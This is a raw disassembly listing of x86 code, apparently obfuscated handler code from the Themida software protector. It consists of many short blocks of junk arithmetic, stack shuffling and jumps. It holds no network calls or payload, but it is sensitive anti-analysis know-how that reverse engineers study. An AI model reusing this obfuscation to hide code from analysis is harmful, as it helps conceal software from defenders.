		mov	ebx, 70486EF3h
		xchg	edx, ebx
		inc	edx
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		push	edi
		mov	edi, 3DBE0236h
		sub	edi, 0CDBB9FB4h
		xor	ebx, edi
		pop	edi
		jmp	loc_58AB2C
; ---------------------------------------------------------------------------


loc_588AEA:				; CODE XREF: sub_584787+2AD0j
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5873C6
; ---------------------------------------------------------------------------


loc_588B07:				; CODE XREF: sub_584787+B692j
		add	al, 0D5h
		sub	al, 0EDh
		add	al, cl
		add	al, 0EDh
		sub	al, 0D5h
		pop	ecx
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dh, 7Eh
		and	dh, 0B7h
		or	dh, 39h
		xchg	cl, dh
		push	ebx
		mov	bh, cl
		xchg	ch, bh
		xchg	al, ch
		jmp	loc_584E42
; ---------------------------------------------------------------------------


loc_588B2E:				; CODE XREF: sub_584787+4948j
		and	eax, edx
		push	[esp+8+var_8]
		pop	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		jmp	loc_58DF7E
; ---------------------------------------------------------------------------


loc_588B3F:				; CODE XREF: sub_584787+21ABj
		xor	bh, ch
		jmp	loc_586DD0
; ---------------------------------------------------------------------------


loc_588B46:				; DATA XREF: Themida_:005842F0o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5899F0
		add	esi, 0A28462Eh
		add	esi, 4AD66E1Ch
		add	esi, 0CCF05F0h
		push	edi
		jmp	loc_58C122
; ---------------------------------------------------------------------------


loc_588B69:				; DATA XREF: Themida_:005842B0o
		pop	small word ptr [edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588B71:				; CODE XREF: sub_584787+52EFj
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_58ED0B
; ---------------------------------------------------------------------------


loc_588B7F:				; CODE XREF: sub_584787+6DF6j
		pop	dword ptr [eax]
		xor	dword ptr [eax], 935039Ch
		push	[esp+18h+var_18]
		jmp	loc_585EB4
; ---------------------------------------------------------------------------


loc_588B8F:				; CODE XREF: sub_584787+982Dj
		mov	al, dh
		mov	bl, al
		pop	eax
		jmp	loc_58B36F
; ---------------------------------------------------------------------------


loc_588B99:				; CODE XREF: sub_584787+2B26j
		push	709Fh
		mov	[esp+8+var_8], edi
		push	553Ch
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_58DE2C
; ---------------------------------------------------------------------------


loc_588BAE:				; CODE XREF: sub_584787+1254j
		sub	esp, 4
		mov	[esp-14h+arg_E+2], eax
		jmp	loc_58D015
; ---------------------------------------------------------------------------


loc_588BBC:				; CODE XREF: sub_584787+5A3j
		sub	esi, 1
		jmp	loc_58ADD7
; ---------------------------------------------------------------------------


loc_588BC4:				; CODE XREF: sub_584787+60C5j
		pop	esi
		push	[esp+4+var_4]
		jmp	loc_58652C
; ---------------------------------------------------------------------------


loc_588BCD:				; CODE XREF: sub_584787+45C2j
		add	esp, 4
		jmp	loc_584E65
; ---------------------------------------------------------------------------


loc_588BD5:				; CODE XREF: sub_584787+A1F8j
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		shl	dword ptr [esp+0], cl
		jmp	loc_58A29F
; ---------------------------------------------------------------------------


loc_588BF5:				; CODE XREF: sub_584787+85C4j
		push	55F83290h
		mov	eax, [esp+4+var_4]
		add	esp, 4
		shr	eax, 4
		push	3E45h
		jmp	loc_58DEB0
; ---------------------------------------------------------------------------


loc_588C0D:				; CODE XREF: sub_584787+44A7j
		mov	[esp+4+var_4], eax
		mov	al, 1
		jmp	loc_586457
; ---------------------------------------------------------------------------


loc_588C17:				; CODE XREF: sub_584787-238j
		push	eax
		mov	ah, 7Eh
		mov	dl, 0B6h
		xor	dl, 5Ch
		jmp	loc_590438
; ---------------------------------------------------------------------------


loc_588C24:				; CODE XREF: sub_584787+3D9Cj
		mov	[esp+8+var_8], edx
		mov	dl, 3Eh
		push	6491h
		jmp	loc_588C0D
; ---------------------------------------------------------------------------


loc_588C33:				; CODE XREF: sub_584787+880j
		sub	ch, 0F6h
		jmp	loc_59057F
; ---------------------------------------------------------------------------


loc_588C3B:				; CODE XREF: sub_584787+720Bj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		bt	[esp+10h+var_10], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588C55:				; CODE XREF: sub_584787+8746j
		push	eax
		jmp	loc_5849ED
; ---------------------------------------------------------------------------


loc_588C5B:				; CODE XREF: sub_584787+A334j
		or	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 0E0D1FD3h
		inc	edx
		add	edx, 6B192F94h
		add	edx, 88B3D2B5h
		sub	ebp, 7C2D3AAFh
		add	ebp, edx
		add	ebp, 7C2D3AAFh
		pop	edx
		sub	ecx, 30810D6Ch
		add	ecx, ebp
		add	ecx, 30810D6Ch
		pop	ebp
		jmp	loc_585F36
; ---------------------------------------------------------------------------


loc_588C94:				; CODE XREF: sub_584787+428Cj
		pop	ebx
		push	eax
		push	esp
		jmp	loc_5902D9
; ---------------------------------------------------------------------------


loc_588C9C:				; CODE XREF: sub_584787+2D53j
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		mov	edx, [esp+38h+var_38]
		add	esp, 4
		push	cx
		mov	cx, 0FFFFh
		add	si, cx
		pop	cx
		not	si
		inc	si
		shr	si, 3
		not	si
		add	si, 0FEC4h
		xor	ax, si
		pop	esi
		push	edx
		jmp	loc_58DDC3
; ---------------------------------------------------------------------------


loc_588CD4:				; CODE XREF: sub_584787+180Fj
		mov	edi, 1DFD0821h
		sub	eax, 54A94210h
		sub	eax, edi
		jmp	loc_58F547
; ---------------------------------------------------------------------------


loc_588CE5:				; CODE XREF: sub_584787+5F6Dj
		push	esp
		pop	[esp+8+var_8]
		push	ecx
		push	4
		pop	ecx
		add	[esp+8+var_4], ecx
		pop	ecx
		pop	edx
		add	edx, 4
		jmp	loc_590057
; ---------------------------------------------------------------------------


loc_588D01:				; CODE XREF: sub_584787+20B1j
		mov	ebp, 4
		add	ebx, 51F81789h
		jmp	loc_58963C
; ---------------------------------------------------------------------------


loc_588D11:				; CODE XREF: sub_584787+54CAj
		neg	al
		jmp	loc_586CD2
; ---------------------------------------------------------------------------


loc_588D18:				; CODE XREF: sub_584787-137j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588D1D:				; CODE XREF: sub_584787-248j
		push	ebp
		jmp	loc_586BE8
; ---------------------------------------------------------------------------


loc_588D23:				; CODE XREF: sub_584787+30BFj
		pop	ebp
		push	ebx
		jmp	loc_587BAF
; ---------------------------------------------------------------------------


loc_588D2A:				; CODE XREF: sub_584787+A8B9j
		mov	edx, ebp
		pop	ebp
		jmp	loc_5902B0
; ---------------------------------------------------------------------------


loc_588D32:				; DATA XREF: Themida_:0058439Co
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+34h+var_34], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp+34h+var_34]
		jmp	loc_588BCD
; ---------------------------------------------------------------------------


loc_588D4E:				; CODE XREF: sub_584787+1007j
		push	[esp+0Ch+var_C]
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_587F1C
; ---------------------------------------------------------------------------


loc_588D6A:				; CODE XREF: sub_584787+87C1j
		mov	ebx, [esp+8+var_8]
		jmp	loc_587504
; ---------------------------------------------------------------------------


loc_588D72:				; CODE XREF: sub_584787+6674j
		mov	ebp, ecx
		jmp	loc_590452
; ---------------------------------------------------------------------------


loc_588D79:				; DATA XREF: Themida_:005843D8o
		lodsd
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_589523
; ---------------------------------------------------------------------------


loc_588D88:				; CODE XREF: sub_584787+42BCj
		mov	ecx, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_58983C
; ---------------------------------------------------------------------------


loc_588D93:				; CODE XREF: sub_584787+8064j
		sub	esp, 4
		mov	[esp+32h+var_34+2], esp
		add	[esp+32h+var_34+2], 4
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		mov	edx, 4
		sub	ebx, 23EF737Fh
		add	ebx, edx
		add	ebx, 23EF737Fh
		jmp	loc_58FE1E
; ---------------------------------------------------------------------------


loc_588DC8:				; CODE XREF: sub_584787+224Cj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5862A6
; ---------------------------------------------------------------------------


loc_588DD6:				; CODE XREF: sub_584787+93E0j
		push	eax
		mov	eax, 55420D3Eh
		jmp	loc_5863C2
; ---------------------------------------------------------------------------


loc_588DE1:				; CODE XREF: sub_584787+B84Dj
		add	eax, 3EA7099Bh
		dec	eax
		shl	eax, 7
		jmp	loc_58AFD9
; ---------------------------------------------------------------------------


loc_588DEF:				; CODE XREF: sub_584787+A526j
		add	[esp+2Eh+var_2C+2], 37DC565Ah
		add	[esp+2Eh+var_2C+2], eax
		sub	[esp+2Eh+var_2C+2], 37DC565Ah
		sub	[esp+2Eh+var_2C+2], 3CEB3783h
		pop	eax
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ecx
		mov	ecx, 6D3C614Ch
		jmp	loc_5863B4
; ---------------------------------------------------------------------------


loc_588E20:				; CODE XREF: sub_584787+AAF8j
		xor	ecx, 6E22FCB5h
		xor	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		push	7EC9h
		mov	[esp+26h+var_26], edi
		mov	edi, 4
		push	edx
		mov	edx, 4D444BCEh
		add	eax, edx
		pop	edx
		sub	eax, edi
		jmp	loc_5878F4
; ---------------------------------------------------------------------------


loc_588E49:				; CODE XREF: sub_584787+31C2j
		xor	eax, 5CBF6B51h
		sub	ecx, 3E8D0C76h
		add	ecx, eax
		jmp	loc_588133
; ---------------------------------------------------------------------------


loc_588E5B:				; CODE XREF: sub_584787+9BBEj
		mov	[esp+3Ch+var_3C], esp
		add	[esp+3Ch+var_3C], 4
		mov	esi, [esp+3Ch+var_3C]
		add	esp, 4
		add	esi, 4
		push	7307h
		mov	[esp+3Ch+var_3C], ecx
		mov	ecx, 2
		sub	esi, 22DC627Eh
		add	esi, ecx
		jmp	loc_58CFD6
; ---------------------------------------------------------------------------


loc_588E8B:				; CODE XREF: sub_584787+41F3j
		mov	edi, ebx
		push	edi
		push	ecx
		mov	ecx, 1F747AB0h
		sub	[esp+1Eh+var_1C+2], ecx
		pop	ecx
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	esi, 1F747AB0h
		jmp	loc_58C179
; ---------------------------------------------------------------------------


loc_588EAD:				; CODE XREF: sub_584787+6959j
		pop	edx
		pop	ecx
		jmp	loc_58D3ED
; ---------------------------------------------------------------------------


loc_588EB4:				; CODE XREF: sub_584787+4911j
		mov	dl, 9Ah
		sub	al, dl
		pop	edx
		add	al, bh
		add	al, 9Ah
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_586F59
; ---------------------------------------------------------------------------


loc_588EC8:				; CODE XREF: sub_584787+BDD2j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], ebx
		xor	[esp+0Ah+var_C+2], 349B6407h
		pop	esi
		xor	esi, 349B6407h
		pop	ebx
		and	eax, esi
		push	[esp+2+var_4+2]
		jmp	loc_58C3D5
; ---------------------------------------------------------------------------


loc_588EF6:				; CODE XREF: sub_584787+1607j
		mov	ebx, 2299E0A1h
		jmp	loc_5894B2
; ---------------------------------------------------------------------------


loc_588F00:				; CODE XREF: sub_584787+8F6Ej
		mov	cl, 1Fh
		add	ah, cl
		pop	ecx
		jmp	loc_586E56
; ---------------------------------------------------------------------------


loc_588F0A:				; CODE XREF: sub_584787+4B2Ej
		sub	ebx, 0D4FA006Eh
		add	ecx, ebx
		pop	ebx
		sub	ecx, 0EBA0D4BFh
		add	esi, ecx
		pop	ecx
		sub	esi, 266D2051h
		pop	eax
		push	ebx
		mov	ebx, 77E76B2Ch
		add	ebx, 609F3B0Fh
		add	ebx, 277959C7h
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp-14h+arg_E+2]
		pop	esp
		shl	word ptr [esp-18h+arg_12+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588F46:				; CODE XREF: sub_584787+326Fj
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588F4F:				; CODE XREF: sub_584787+1BEAj
		mov	[esp+4Eh+var_4E], esp
		add	[esp+4Eh+var_4E], 4
		jmp	loc_5857D8
; ---------------------------------------------------------------------------


loc_588F5B:				; CODE XREF: sub_584787+BE9Aj
		pop	ebx
		jmp	loc_58AF8B
; ---------------------------------------------------------------------------


loc_588F61:				; DATA XREF: Themida_:00584358o
		mov	eax, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_58BD01
; ---------------------------------------------------------------------------


loc_588F72:				; CODE XREF: sub_584787+5A0Cj
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	2DC2h
		mov	[esp+4Eh+var_4E], esi
		push	1
		mov	esi, [esp+52h+var_54+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58635D
; ---------------------------------------------------------------------------


loc_588F97:				; CODE XREF: sub_584787+1ADFj
		sub	edx, edi
		pop	edi
		jmp	loc_58EAD4
; ---------------------------------------------------------------------------


loc_588F9F:				; CODE XREF: sub_584787+8163j
		mov	edx, [esp+52h+var_54+2]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4Eh+var_4E]
		pop	esp


loc_588FB5:				; CODE XREF: sub_584787+77E2j
		sub	esp, 4
		mov	[esp+4Eh+var_4E], esi
		sub	esp, 4
		jmp	loc_587B95
; ---------------------------------------------------------------------------


loc_588FC6:				; CODE XREF: sub_584787+640Cj
		add	esp, 4
		add	eax, 42674185h
		jmp	loc_585F95
; ---------------------------------------------------------------------------


loc_588FD3:				; CODE XREF: sub_584787-10j
		neg	dl
		jmp	loc_586CDF
; ---------------------------------------------------------------------------
		push	[esp+0Eh+var_10+2]
		push	[esp+12h+var_14+2]
		pop	edx
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp+16h+var_18+2], esp
		add	[esp+16h+var_18+2], 4
		pop	ebp
		jmp	loc_585167
; ---------------------------------------------------------------------------


loc_588FF8:				; CODE XREF: sub_584787+27E9j
		mov	eax, [esp-0Ch+arg_8]
		push	396Ch
		mov	[esp-8+arg_4], esi
		mov	esi, esp
		jmp	loc_58FD88
; ---------------------------------------------------------------------------


loc_58900A:				; CODE XREF: sub_584787+9E7j
		shl	ebx, 4
		add	ebx, 173B4564h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		push	ebx
		mov	ebx, 1FB0127h
		jmp	loc_5903B1
; ---------------------------------------------------------------------------


loc_589027:				; CODE XREF: sub_584787+6AFCj
		mov	esi, ecx
		jmp	loc_58E461
; ---------------------------------------------------------------------------


loc_58902E:				; CODE XREF: sub_584787+8877j
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp+3Ch+var_3C]
		jmp	loc_58648F
; ---------------------------------------------------------------------------


loc_589040:				; CODE XREF: sub_584787+1FDj
		mov	ebp, esp
		push	esi
		jmp	loc_5891D5
; ---------------------------------------------------------------------------


loc_589048:				; DATA XREF: Themida_:0058421Co
		push	dword ptr fs:[edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589050:				; CODE XREF: sub_584787+2391j
		pop	ebp
		shr	ebx, 7
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_58B659
; ---------------------------------------------------------------------------


loc_58905F:				; CODE XREF: sub_584787+AD10j
		sub	edx, 41F63F85h
		add	edx, edi
		add	edx, 41F63F85h
		mov	edi, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_58995D
; ---------------------------------------------------------------------------


loc_589088:				; CODE XREF: sub_584787+9751j
		mov	eax, esp
		add	eax, 4
		jmp	loc_58D73D
; ---------------------------------------------------------------------------


loc_589094:				; CODE XREF: sub_584787+372Bj
		add	bh, 8Ah
		push	edx
		jmp	loc_588EB4
; ---------------------------------------------------------------------------


loc_58909D:				; CODE XREF: sub_584787-118j
		mov	edx, [esp+0]
		jmp	loc_589218
; ---------------------------------------------------------------------------


loc_5890A5:				; CODE XREF: sub_584787+6C71j
		inc	dh
		xor	dh, 87h
		sub	bl, dh
		jmp	loc_58E45B
; ---------------------------------------------------------------------------


loc_5890B1:				; CODE XREF: sub_584787+88Dj
		mov	bh, 9Dh
		dec	bh
		jmp	loc_585971
; ---------------------------------------------------------------------------


loc_5890BA:				; CODE XREF: sub_584787+B528j
		mov	ecx, 200h
		push	ecx
		add	[esp+20h+var_20], 725C104Ch
		pop	edx
		sub	edx, 725C104Ch
		pop	ecx
		jmp	loc_588B2E
; ---------------------------------------------------------------------------


loc_5890D4:				; CODE XREF: sub_584787+8CDEj
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_584A3A
; ---------------------------------------------------------------------------


loc_5890DC:				; CODE XREF: sub_584787+55A0j
		pop	esi
		xchg	edi, ebp
		not	edi
		push	ebp
		push	edi
		pop	ebp
		jmp	loc_589AD2
; ---------------------------------------------------------------------------


loc_5890E9:				; CODE XREF: sub_584787+7443j
		xor	esi, 21620212h
		add	ecx, esi
		jmp	$+5
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xor	byte ptr [esp+0Ch+var_C], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589110:				; DATA XREF: Themida_:00584420o
		neg	byte ptr [esp+10h+var_10]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589119:				; CODE XREF: sub_584787+3C9Dj
		mov	edi, [esp+30h+var_30]
		add	esp, 4
		sub	edx, 6BE43D75h
		sub	edx, 676F5841h
		add	edx, eax
		add	edx, 676F5841h
		jmp	loc_58C294
; ---------------------------------------------------------------------------


loc_589138:				; CODE XREF: sub_584787+5398j
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp+0]
		jmp	loc_586097
; ---------------------------------------------------------------------------


loc_589147:				; CODE XREF: sub_584787+5F43j
		add	ebp, 405F3901h
		mov	edx, [esp+0]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_586746
; ---------------------------------------------------------------------------


loc_58915E:				; CODE XREF: sub_584787+99E4j
		sub	ecx, 0BB210765h
		mov	esi, ecx
		pop	ecx
		mov	edi, esi
		pop	esi
		jmp	loc_58F1C0
; ---------------------------------------------------------------------------


loc_58916F:				; CODE XREF: sub_584787+7603j
		add	ebx, eax
		pop	eax
		add	ebx, 2
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_584F62
; ---------------------------------------------------------------------------


loc_58917D:				; CODE XREF: sub_584787+45j
		xor	[esp+12h+var_14+2], edx
		xor	edx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], eax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58918E:				; CODE XREF: sub_584787+7911j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C8FC
; ---------------------------------------------------------------------------


loc_58919C:				; CODE XREF: sub_58F5B0+Cj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5891A1:				; CODE XREF: sub_584787+767Bj
		push	[esp+12h+var_14+2]
		jmp	loc_58E857
; ---------------------------------------------------------------------------


loc_5891A9:				; CODE XREF: sub_584787+A663j
		push	[esp+16h+var_18+2]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 3D772706h
		sub	eax, esi
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_586D48
; ---------------------------------------------------------------------------


loc_5891C3:				; CODE XREF: sub_584787-213j
					; sub_584787+2AE6j ...
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	eax, [esp-8+arg_4]
		push	eax
		sub	esp, 4
		jmp	loc_58D3DE
; ---------------------------------------------------------------------------


loc_5891D5:				; CODE XREF: sub_584787+48BCj
		mov	esi, 593C69ABh
		jmp	loc_5905BA
; ---------------------------------------------------------------------------


loc_5891DF:				; CODE XREF: sub_584787+A746j
		add	edi, 4
		xchg	edi, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		push	dx
		push	eax
		mov	al, 0F0h
		mov	dl, al
		pop	eax
		push	ebx
		mov	bl, 8Fh
		xor	dl, bl
		pop	ebx
		jmp	loc_589835
; ---------------------------------------------------------------------------


loc_5891FE:				; CODE XREF: sub_584787+70AEj
		add	esp, 4
		pop	ecx
		neg	dl
		add	dl, 38h
		sub	al, 0D9h
		sub	al, dl
		push	ebx
		mov	bh, 0B3h
		jmp	loc_589EA2
; ---------------------------------------------------------------------------


loc_589213:				; CODE XREF: sub_584787+50D3j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589218:				; CODE XREF: sub_584787+4919j
		add	esp, 4
		jmp	loc_58A2A4
; ---------------------------------------------------------------------------


loc_589220:				; CODE XREF: sub_584787+2E2j
		add	esp, 4
		jmp	loc_58D53F
; ---------------------------------------------------------------------------


loc_589228:				; CODE XREF: sub_584787+831j
		mov	ebp, 7F7C87B6h
		mov	edx, ebp
		pop	ebp
		add	eax, 0A4334F5h
		jmp	loc_58A9F9
; ---------------------------------------------------------------------------


loc_58923A:				; CODE XREF: sub_584787+2696j
		push	eax
		jmp	loc_58D728
; ---------------------------------------------------------------------------


loc_589240:				; CODE XREF: sub_584787+54EDj
		mov	[esp+1Eh+var_20+2], ecx
		mov	ch, 1
		push	eax
		mov	ah, 88h
		shl	ah, 5
		or	ah, 0F2h
		inc	ah
		dec	ah
		shr	ah, 2
		jmp	loc_585EE6
; ---------------------------------------------------------------------------


loc_58925A:				; DATA XREF: Themida_:00584210o
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		push	1237h
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ecx
		jmp	loc_58F327
; ---------------------------------------------------------------------------


loc_58927F:				; CODE XREF: sub_584787+8E93j
		push	ebx
		xchg	ebx, [esp+2Eh+var_30+2]
		jmp	loc_58BC73
; ---------------------------------------------------------------------------


loc_589288:				; CODE XREF: sub_584787+2332j
		push	esi
		jmp	loc_58B997
; ---------------------------------------------------------------------------


loc_58928E:				; CODE XREF: sub_584787+3F71j
		shl	ecx, 1
		and	ecx, 27824D49h
		dec	ecx
		not	ecx
		push	ebx
		mov	ebx, 7F1048F5h
		shr	ebx, 7
		neg	ebx
		xor	ebx, 2BE03541h
		neg	ebx
		push	ecx
		mov	ecx, 21AC02A1h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_588F0A
; ---------------------------------------------------------------------------


loc_5892BA:				; CODE XREF: sub_584787+2B10j
		xor	edi, [esp+8+var_8]
		jmp	loc_58450E
; ---------------------------------------------------------------------------


loc_5892C2:				; CODE XREF: sub_584787+9A09j
		and	ecx, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_584AEF
; ---------------------------------------------------------------------------


loc_5892CC:				; CODE XREF: sub_584787+BB37j
		mov	[esp+8+var_8], eax
		push	ebx
		push	edi
		mov	edi, 7B070BBCh
		mov	ebx, edi
		pop	edi
		jmp	loc_58CD24
; ---------------------------------------------------------------------------


loc_5892DE:				; CODE XREF: sub_584787+9962j
		mov	[esp+0Ch+var_C], eax
		jmp	loc_584E49
; ---------------------------------------------------------------------------


loc_5892E6:				; CODE XREF: sub_584787+2EE7j
		mov	edi, 4
		add	ebp, 11A3363Ah
		add	ebp, 1351641Fh
		add	ebp, edi
		sub	ebp, 1351641Fh
		sub	ebp, 11A3363Ah
		mov	edi, [esp+0]
		add	esp, 4
		xchg	ebp, [esp+0]
		jmp	loc_58C5DD
; ---------------------------------------------------------------------------


loc_589316:				; DATA XREF: Themida_:005842F4o
		mov	ax, [esp+0]
		push	edi
		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_586652
; ---------------------------------------------------------------------------


loc_589326:				; DATA XREF: Themida_:005841C8o
		mov	ax, [esp+0]
		push	6BABh
		mov	[esp+74h+var_74], edx
		push	37ADh
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		jmp	loc_58C3F9
; ---------------------------------------------------------------------------


loc_589349:				; CODE XREF: sub_584787+55FEj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+0]
		jmp	loc_58C087
; ---------------------------------------------------------------------------


loc_58935F:				; CODE XREF: sub_584787+B88Aj
		push	dword ptr [esp+0]
		jmp	loc_58E726
; ---------------------------------------------------------------------------


loc_589367:				; CODE XREF: sub_584787+5251j
		pop	ebp
		or	eax, eax
		jz	sub_59006F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp+0]
		mov	ecx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 3D5D00D5h
		sub	ebx, 4DF03724h
		or	ebx, 26C5556Ah
		jmp	loc_58DB0E
; ---------------------------------------------------------------------------


loc_58939B:				; CODE XREF: sub_584787+1FC2j
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5893AA:				; CODE XREF: sub_584787+FEEj
		sub	esp, 4
		jmp	loc_584E26
; ---------------------------------------------------------------------------


loc_5893B2:				; CODE XREF: sub_584787+2407j
		push	[esp+arg_0]
		jmp	loc_58A452
; ---------------------------------------------------------------------------


loc_5893BB:				; CODE XREF: sub_584787+9DBj
		push	ecx
		jmp	loc_58A5A7
; ---------------------------------------------------------------------------


loc_5893C1:				; CODE XREF: sub_584787+1859j
		push	edi
		mov	edi, 2061933h
		mov	ebx, edi
		pop	edi
		and	ecx, ebx
		pop	ebx
		xor	ecx, 4FD27D15h
		add	eax, ecx
		pop	ecx
		sub	eax, 14521D8Eh
		jmp	loc_587FB2
; ---------------------------------------------------------------------------


loc_5893E0:				; CODE XREF: sub_584787+2E97j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58EE52
; ---------------------------------------------------------------------------


loc_5893ED:				; CODE XREF: sub_584787+1D95j
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		mov	ebx, 5E304C58h
		dec	ebx
		push	esi
		jmp	loc_58FAA4
; ---------------------------------------------------------------------------


loc_5893FF:				; CODE XREF: sub_584787+550Dj
		xchg	esi, [esp+18h+var_18]
		pop	esp
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58DF71
; ---------------------------------------------------------------------------


loc_589411:				; CODE XREF: sub_584787+BFj
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		pop	esi
		push	eax
		mov	eax, 23911EDEh
		shr	eax, 7
		jmp	loc_589CF7
; ---------------------------------------------------------------------------


loc_589427:				; CODE XREF: sub_584787+92CBj
		mov	ax, word ptr [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		jmp	loc_58C42D
; ---------------------------------------------------------------------------


loc_589433:				; CODE XREF: sub_584787+74A2j
		add	esi, eax
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		or	eax, eax
		jz	loc_58EB11
		push	dword ptr [edi+1Ch]
		push	3FE4h
		mov	[esp+1Ch+var_1C], edx
		push	ecx
		jmp	loc_58B0C7
; ---------------------------------------------------------------------------


loc_58945D:				; CODE XREF: sub_584787+6018j
		mov	bl, ch
		jmp	loc_58CEF5
; ---------------------------------------------------------------------------


loc_589464:				; CODE XREF: sub_584787+4D26j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_5869D0
; ---------------------------------------------------------------------------


loc_58947C:				; DATA XREF: Themida_:0058419Co
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_58E325
; ---------------------------------------------------------------------------


loc_589486:				; CODE XREF: sub_584787+190Bj
		inc	esi
		not	esi
		sub	esi, 0A44193EAh
		xor	edi, esi
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		xor	edi, 0A171E3F3h
		and	eax, edi
		mov	edi, [esp+2Eh+var_30+2]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_589464
; ---------------------------------------------------------------------------


loc_5894B2:				; CODE XREF: sub_584787+4774j
		xor	edi, ebx
		pop	ebx
		sub	esi, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_587ED9
